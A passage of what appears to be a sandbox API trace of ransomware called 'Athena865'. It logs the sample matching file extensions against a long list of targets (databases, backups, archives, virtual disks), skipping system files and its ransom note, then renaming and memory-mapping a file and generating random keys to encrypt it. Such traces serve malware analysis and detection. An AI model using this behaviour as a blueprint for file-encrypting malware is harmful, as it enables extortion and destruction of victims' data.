(lpString1="DLL", lpString2="ckp") returned 1 [0084.338] lstrlenW (lpString="cma") returned 3 [0084.338] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0084.338] lstrlenW (lpString="cpd") returned 3 [0084.338] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0084.338] lstrlenW (lpString="dacpac") returned 6 [0084.338] lstrcmpiW (lpString1="NV.DLL", lpString2="dacpac") returned 1 [0084.338] lstrlenW (lpString="dad") returned 3 [0084.338] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0084.338] lstrlenW (lpString="dadiagrams") returned 10 [0084.338] lstrcmpiW (lpString1="UBCONV.DLL", lpString2="dadiagrams") returned 1 [0084.338] lstrlenW (lpString="daschema") returned 8 [0084.338] lstrcmpiW (lpString1="CONV.DLL", lpString2="daschema") returned -1 [0084.338] lstrlenW (lpString="db-journal") returned 10 [0084.338] lstrcmpiW (lpString1="UBCONV.DLL", lpString2="db-journal") returned 1 [0084.338] lstrlenW (lpString="db-shm") returned 6 [0084.338] lstrcmpiW (lpString1="NV.DLL", lpString2="db-shm") returned 1 [0084.338] lstrlenW (lpString="db-wal") returned 6 [0084.338] lstrcmpiW (lpString1="NV.DLL", lpString2="db-wal") returned 1 [0084.338] lstrlenW (lpString="dbc") returned 3 [0084.338] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0084.338] lstrlenW (lpString="dbs") returned 3 [0084.338] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0084.338] lstrlenW (lpString="dbt") returned 3 [0084.338] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0084.338] lstrlenW (lpString="dbv") returned 3 [0084.338] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0084.338] lstrlenW (lpString="dbx") returned 3 [0084.338] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0084.338] lstrlenW (lpString="dcb") returned 3 [0084.339] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0084.339] lstrlenW (lpString="dct") returned 3 [0084.339] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0084.339] lstrlenW (lpString="dcx") returned 3 [0084.339] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0084.339] lstrlenW (lpString="ddl") returned 3 [0084.339] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0084.339] lstrlenW (lpString="dlis") returned 4 [0084.339] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0084.339] lstrlenW (lpString="dp1") returned 3 [0084.339] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0084.339] lstrlenW (lpString="dqy") returned 3 [0084.339] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0084.339] lstrlenW (lpString="dsk") returned 3 [0084.339] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0084.339] lstrlenW (lpString="dsn") returned 3 [0084.339] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0084.339] lstrlenW (lpString="dtsx") returned 4 [0084.339] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0084.339] lstrlenW (lpString="dxl") returned 3 [0084.339] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0084.339] lstrlenW (lpString="eco") returned 3 [0084.339] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0084.339] lstrlenW (lpString="ecx") returned 3 [0084.339] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0084.339] lstrlenW (lpString="edb") returned 3 [0084.339] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0084.339] lstrlenW (lpString="epim") returned 4 [0084.339] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0084.339] lstrlenW (lpString="fcd") returned 3 [0084.339] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0084.340] lstrlenW (lpString="fdb") returned 3 [0084.340] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0084.340] lstrlenW (lpString="fic") returned 3 [0084.340] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0084.340] lstrlenW (lpString="flexolibrary") returned 12 [0084.340] lstrlenW (lpString="fm5") returned 3 [0084.340] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0084.340] lstrlenW (lpString="fmp") returned 3 [0084.340] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0084.340] lstrlenW (lpString="fmp12") returned 5 [0084.340] lstrcmpiW (lpString1="V.DLL", lpString2="fmp12") returned 1 [0084.340] lstrlenW (lpString="fmpsl") returned 5 [0084.340] lstrcmpiW (lpString1="V.DLL", lpString2="fmpsl") returned 1 [0084.340] lstrlenW (lpString="fol") returned 3 [0084.340] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0084.340] lstrlenW (lpString="fp3") returned 3 [0084.340] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0084.340] lstrlenW (lpString="fp4") returned 3 [0084.340] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0084.340] lstrlenW (lpString="fp5") returned 3 [0084.340] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0084.340] lstrlenW (lpString="fp7") returned 3 [0084.340] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0084.340] lstrlenW (lpString="fpt") returned 3 [0084.340] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0084.340] lstrlenW (lpString="frm") returned 3 [0084.340] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0084.340] lstrlenW (lpString="gdb") returned 3 [0084.340] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0084.340] lstrlenW (lpString="gdb") returned 3 [0084.340] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0084.340] lstrlenW (lpString="grdb") returned 4 [0084.341] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0084.341] lstrlenW (lpString="gwi") returned 3 [0084.341] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0084.341] lstrlenW (lpString="hdb") returned 3 [0084.341] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0084.341] lstrlenW (lpString="his") returned 3 [0084.341] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0084.341] lstrlenW (lpString="ib") returned 2 [0084.341] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0084.341] lstrlenW (lpString="idb") returned 3 [0084.341] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0084.341] lstrlenW (lpString="ihx") returned 3 [0084.341] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0084.341] lstrlenW (lpString="itdb") returned 4 [0084.341] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0084.341] lstrlenW (lpString="itw") returned 3 [0084.341] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0084.341] lstrlenW (lpString="jet") returned 3 [0084.341] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0084.341] lstrlenW (lpString="jtx") returned 3 [0084.341] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0084.341] lstrlenW (lpString="kdb") returned 3 [0084.341] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0084.341] lstrlenW (lpString="kexi") returned 4 [0084.341] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0084.341] lstrlenW (lpString="kexic") returned 5 [0084.341] lstrcmpiW (lpString1="V.DLL", lpString2="kexic") returned 1 [0084.341] lstrlenW (lpString="kexis") returned 5 [0084.341] lstrcmpiW (lpString1="V.DLL", lpString2="kexis") returned 1 [0084.341] lstrlenW (lpString="lgc") returned 3 [0084.341] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0084.341] lstrlenW (lpString="lwx") returned 3 [0084.342] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0084.342] lstrlenW (lpString="maf") returned 3 [0084.342] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0084.342] lstrlenW (lpString="maq") returned 3 [0084.342] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0084.342] lstrlenW (lpString="mar") returned 3 [0084.342] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0084.342] lstrlenW (lpString="marshal") returned 7 [0084.342] lstrcmpiW (lpString1="ONV.DLL", lpString2="marshal") returned 1 [0084.342] lstrlenW (lpString="mas") returned 3 [0084.342] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0084.342] lstrlenW (lpString="mav") returned 3 [0084.342] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0084.342] lstrlenW (lpString="maw") returned 3 [0084.342] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0084.342] lstrlenW (lpString="mdbhtml") returned 7 [0084.342] lstrcmpiW (lpString1="ONV.DLL", lpString2="mdbhtml") returned 1 [0084.342] lstrlenW (lpString="mdn") returned 3 [0084.342] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0084.342] lstrlenW (lpString="mdt") returned 3 [0084.342] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0084.342] lstrlenW (lpString="mfd") returned 3 [0084.342] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0084.342] lstrlenW (lpString="mpd") returned 3 [0084.342] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0084.342] lstrlenW (lpString="mrg") returned 3 [0084.342] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0084.342] lstrlenW (lpString="mud") returned 3 [0084.342] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0084.342] lstrlenW (lpString="mwb") returned 3 [0084.342] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0084.343] lstrlenW (lpString="myd") returned 3 [0084.343] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0084.343] lstrlenW (lpString="ndf") returned 3 [0084.343] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0084.343] lstrlenW (lpString="nnt") returned 3 [0084.343] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0084.343] lstrlenW (lpString="nrmlib") returned 6 [0084.343] lstrcmpiW (lpString1="NV.DLL", lpString2="nrmlib") returned 1 [0084.343] lstrlenW (lpString="ns2") returned 3 [0084.343] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0084.343] lstrlenW (lpString="ns3") returned 3 [0084.343] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0084.343] lstrlenW (lpString="ns4") returned 3 [0084.343] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0084.343] lstrlenW (lpString="nsf") returned 3 [0084.343] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0084.343] lstrlenW (lpString="nv") returned 2 [0084.343] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0084.343] lstrlenW (lpString="nv2") returned 3 [0084.343] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0084.343] lstrlenW (lpString="nwdb") returned 4 [0084.343] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0084.343] lstrlenW (lpString="nyf") returned 3 [0084.343] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0084.343] lstrlenW (lpString="odb") returned 3 [0084.343] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0084.343] lstrlenW (lpString="odb") returned 3 [0084.343] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0084.343] lstrlenW (lpString="oqy") returned 3 [0084.343] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0084.343] lstrlenW (lpString="ora") returned 3 [0084.344] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0084.344] lstrlenW (lpString="orx") returned 3 [0084.344] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0084.344] lstrlenW (lpString="owc") returned 3 [0084.344] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0084.344] lstrlenW (lpString="p96") returned 3 [0084.344] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0084.344] lstrlenW (lpString="p97") returned 3 [0084.344] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0084.344] lstrlenW (lpString="pan") returned 3 [0084.344] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0084.344] lstrlenW (lpString="pdb") returned 3 [0084.344] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0084.344] lstrlenW (lpString="pdm") returned 3 [0084.344] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0084.344] lstrlenW (lpString="pnz") returned 3 [0084.344] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0084.344] lstrlenW (lpString="qry") returned 3 [0084.344] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0084.344] lstrlenW (lpString="qvd") returned 3 [0084.344] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0084.344] lstrlenW (lpString="rbf") returned 3 [0084.344] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0084.344] lstrlenW (lpString="rctd") returned 4 [0084.344] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0084.344] lstrlenW (lpString="rod") returned 3 [0084.344] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0084.344] lstrlenW (lpString="rodx") returned 4 [0084.344] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0084.344] lstrlenW (lpString="rpd") returned 3 [0084.344] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0084.344] lstrlenW (lpString="rsd") returned 3 [0084.345] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0084.345] lstrlenW (lpString="sas7bdat") returned 8 [0084.345] lstrcmpiW (lpString1="CONV.DLL", lpString2="sas7bdat") returned -1 [0084.345] lstrlenW (lpString="sbf") returned 3 [0084.345] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0084.345] lstrlenW (lpString="scx") returned 3 [0084.345] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0084.345] lstrlenW (lpString="sdb") returned 3 [0084.345] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0084.345] lstrlenW (lpString="sdc") returned 3 [0084.345] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0084.345] lstrlenW (lpString="sdf") returned 3 [0084.345] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0084.345] lstrlenW (lpString="sis") returned 3 [0084.345] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0084.345] lstrlenW (lpString="spq") returned 3 [0084.345] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0084.345] lstrlenW (lpString="te") returned 2 [0084.345] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0084.345] lstrlenW (lpString="teacher") returned 7 [0084.345] lstrcmpiW (lpString1="ONV.DLL", lpString2="teacher") returned -1 [0084.345] lstrlenW (lpString="tmd") returned 3 [0084.345] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0084.345] lstrlenW (lpString="tps") returned 3 [0084.345] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0084.345] lstrlenW (lpString="trc") returned 3 [0084.345] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0084.345] lstrlenW (lpString="trc") returned 3 [0084.345] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0084.345] lstrlenW (lpString="trm") returned 3 [0084.345] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0084.345] lstrlenW (lpString="udb") returned 3 [0084.345] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0084.346] lstrlenW (lpString="udl") returned 3 [0084.346] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0084.346] lstrlenW (lpString="usr") returned 3 [0084.346] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0084.346] lstrlenW (lpString="v12") returned 3 [0084.346] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0084.346] lstrlenW (lpString="vis") returned 3 [0084.346] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0084.346] lstrlenW (lpString="vpd") returned 3 [0084.346] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0084.346] lstrlenW (lpString="vvv") returned 3 [0084.346] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0084.346] lstrlenW (lpString="wdb") returned 3 [0084.346] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0084.346] lstrlenW (lpString="wmdb") returned 4 [0084.346] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0084.346] lstrlenW (lpString="wrk") returned 3 [0084.346] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0084.346] lstrlenW (lpString="xdb") returned 3 [0084.346] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0084.346] lstrlenW (lpString="xld") returned 3 [0084.346] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0084.346] lstrlenW (lpString="xmlff") returned 5 [0084.346] lstrcmpiW (lpString1="V.DLL", lpString2="xmlff") returned -1 [0084.346] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBCONV.DLL.Athena865") returned 64 [0084.346] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBCONV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\pubconv.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBCONV.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\pubconv.dll.athena865"), dwFlags=0x1) returned 1 [0084.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBCONV.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\pubconv.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0084.347] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=909176) returned 1 [0084.347] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.348] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.348] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.348] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.349] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.349] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.349] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xde280, lpName=0x0) returned 0x154 [0084.350] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xde280) returned 0x2d50000 [0084.409] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.410] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.410] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.410] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.410] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.410] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.410] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.410] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.410] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0084.418] CloseHandle (hObject=0x154) returned 1 [0084.418] CloseHandle (hObject=0x17c) returned 1 [0084.419] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.419] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.419] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.422] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe236cf00, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe236cf00, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xe778, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PUBTRAP.DLL", cAlternateFileName="")) returned 1 [0084.423] lstrcmpiW (lpString1="PUBTRAP.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.423] lstrcmpiW (lpString1="PUBTRAP.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.423] lstrcmpiW (lpString1="PUBTRAP.DLL", lpString2=".") returned 1 [0084.423] lstrcmpiW (lpString1="PUBTRAP.DLL", lpString2="..") returned 1 [0084.423] lstrcmpiW (lpString1="PUBTRAP.DLL", lpString2="windows") returned -1 [0084.423] lstrcmpiW (lpString1="PUBTRAP.DLL", lpString2="bootmgr") returned 1 [0084.423] lstrcmpiW (lpString1="PUBTRAP.DLL", lpString2="temp") returned -1 [0084.423] lstrcmpiW (lpString1="PUBTRAP.DLL", lpString2="pagefile.sys") returned 1 [0084.423] lstrcmpiW (lpString1="PUBTRAP.DLL", lpString2="boot") returned 1 [0084.423] lstrcmpiW (lpString1="PUBTRAP.DLL", lpString2="ids.txt") returned 1 [0084.423] lstrcmpiW (lpString1="PUBTRAP.DLL", lpString2="ntuser.dat") returned 1 [0084.423] lstrcmpiW (lpString1="PUBTRAP.DLL", lpString2="perflogs") returned 1 [0084.423] lstrcmpiW (lpString1="PUBTRAP.DLL", lpString2="MSBuild") returned 1 [0084.423] lstrlenW (lpString="PUBTRAP.DLL") returned 11 [0084.423] lstrcpyW (in: lpString1=0x241e89e, lpString2="PUBTRAP.DLL" | out: lpString1="PUBTRAP.DLL") returned="PUBTRAP.DLL" [0084.423] lstrlenW (lpString="PUBTRAP.DLL") returned 11 [0084.423] lstrlenW (lpString="Athena865") returned 9 [0084.423] lstrcmpiW (lpString1="BTRAP.DLL", lpString2="Athena865") returned 1 [0084.423] lstrlenW (lpString=".dll") returned 4 [0084.423] lstrcmpiW (lpString1="PUBTRAP.DLL", lpString2=".dll") returned 1 [0084.423] lstrlenW (lpString=".lnk") returned 4 [0084.423] lstrcmpiW (lpString1="PUBTRAP.DLL", lpString2=".lnk") returned 1 [0084.423] lstrlenW (lpString=".ini") returned 4 [0084.423] lstrcmpiW (lpString1="PUBTRAP.DLL", lpString2=".ini") returned 1 [0084.423] lstrlenW (lpString=".sys") returned 4 [0084.423] lstrcmpiW (lpString1="PUBTRAP.DLL", lpString2=".sys") returned 1 [0084.423] lstrlenW (lpString="PUBTRAP.DLL") returned 11 [0084.423] lstrlenW (lpString="bak") returned 3 [0084.423] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0084.423] lstrlenW (lpString="ba_") returned 3 [0084.423] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0084.423] lstrlenW (lpString="dbb") returned 3 [0084.424] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0084.424] lstrlenW (lpString="vmdk") returned 4 [0084.424] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0084.424] lstrlenW (lpString="rar") returned 3 [0084.424] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0084.424] lstrlenW (lpString="zip") returned 3 [0084.424] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0084.424] lstrlenW (lpString="tgz") returned 3 [0084.424] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0084.424] lstrlenW (lpString="vbox") returned 4 [0084.424] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0084.424] lstrlenW (lpString="vdi") returned 3 [0084.424] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0084.424] lstrlenW (lpString="vhd") returned 3 [0084.424] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0084.424] lstrlenW (lpString="vhdx") returned 4 [0084.424] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0084.424] lstrlenW (lpString="avhd") returned 4 [0084.424] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0084.424] lstrlenW (lpString="db") returned 2 [0084.424] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0084.424] lstrlenW (lpString="db2") returned 3 [0084.424] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0084.424] lstrlenW (lpString="db3") returned 3 [0084.424] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0084.424] lstrlenW (lpString="dbf") returned 3 [0084.424] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0084.424] lstrlenW (lpString="mdf") returned 3 [0084.424] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0084.424] lstrlenW (lpString="mdb") returned 3 [0084.424] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0084.424] lstrlenW (lpString="sql") returned 3 [0084.424] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0084.425] lstrlenW (lpString="sqlite") returned 6 [0084.425] lstrcmpiW (lpString1="AP.DLL", lpString2="sqlite") returned -1 [0084.425] lstrlenW (lpString="sqlite3") returned 7 [0084.425] lstrcmpiW (lpString1="RAP.DLL", lpString2="sqlite3") returned -1 [0084.425] lstrlenW (lpString="sqlitedb") returned 8 [0084.425] lstrcmpiW (lpString1="TRAP.DLL", lpString2="sqlitedb") returned 1 [0084.425] lstrlenW (lpString="xml") returned 3 [0084.425] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0084.425] lstrlenW (lpString="$er") returned 3 [0084.425] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0084.425] lstrlenW (lpString="4dd") returned 3 [0084.425] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0084.425] lstrlenW (lpString="4dl") returned 3 [0084.425] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0084.425] lstrlenW (lpString="^^^") returned 3 [0084.425] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0084.425] lstrlenW (lpString="abs") returned 3 [0084.425] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0084.425] lstrlenW (lpString="abx") returned 3 [0084.425] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0084.425] lstrlenW (lpString="accdb") returned 5 [0084.425] lstrcmpiW (lpString1="P.DLL", lpString2="accdb") returned 1 [0084.425] lstrlenW (lpString="accdc") returned 5 [0084.425] lstrcmpiW (lpString1="P.DLL", lpString2="accdc") returned 1 [0084.425] lstrlenW (lpString="accde") returned 5 [0084.425] lstrcmpiW (lpString1="P.DLL", lpString2="accde") returned 1 [0084.425] lstrlenW (lpString="accdr") returned 5 [0084.425] lstrcmpiW (lpString1="P.DLL", lpString2="accdr") returned 1 [0084.425] lstrlenW (lpString="accdt") returned 5 [0084.425] lstrcmpiW (lpString1="P.DLL", lpString2="accdt") returned 1 [0084.425] lstrlenW (lpString="accdw") returned 5 [0084.425] lstrcmpiW (lpString1="P.DLL", lpString2="accdw") returned 1 [0084.426] lstrlenW (lpString="accft") returned 5 [0084.426] lstrcmpiW (lpString1="P.DLL", lpString2="accft") returned 1 [0084.426] lstrlenW (lpString="adb") returned 3 [0084.426] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.426] lstrlenW (lpString="adb") returned 3 [0084.426] lstrcmpiW 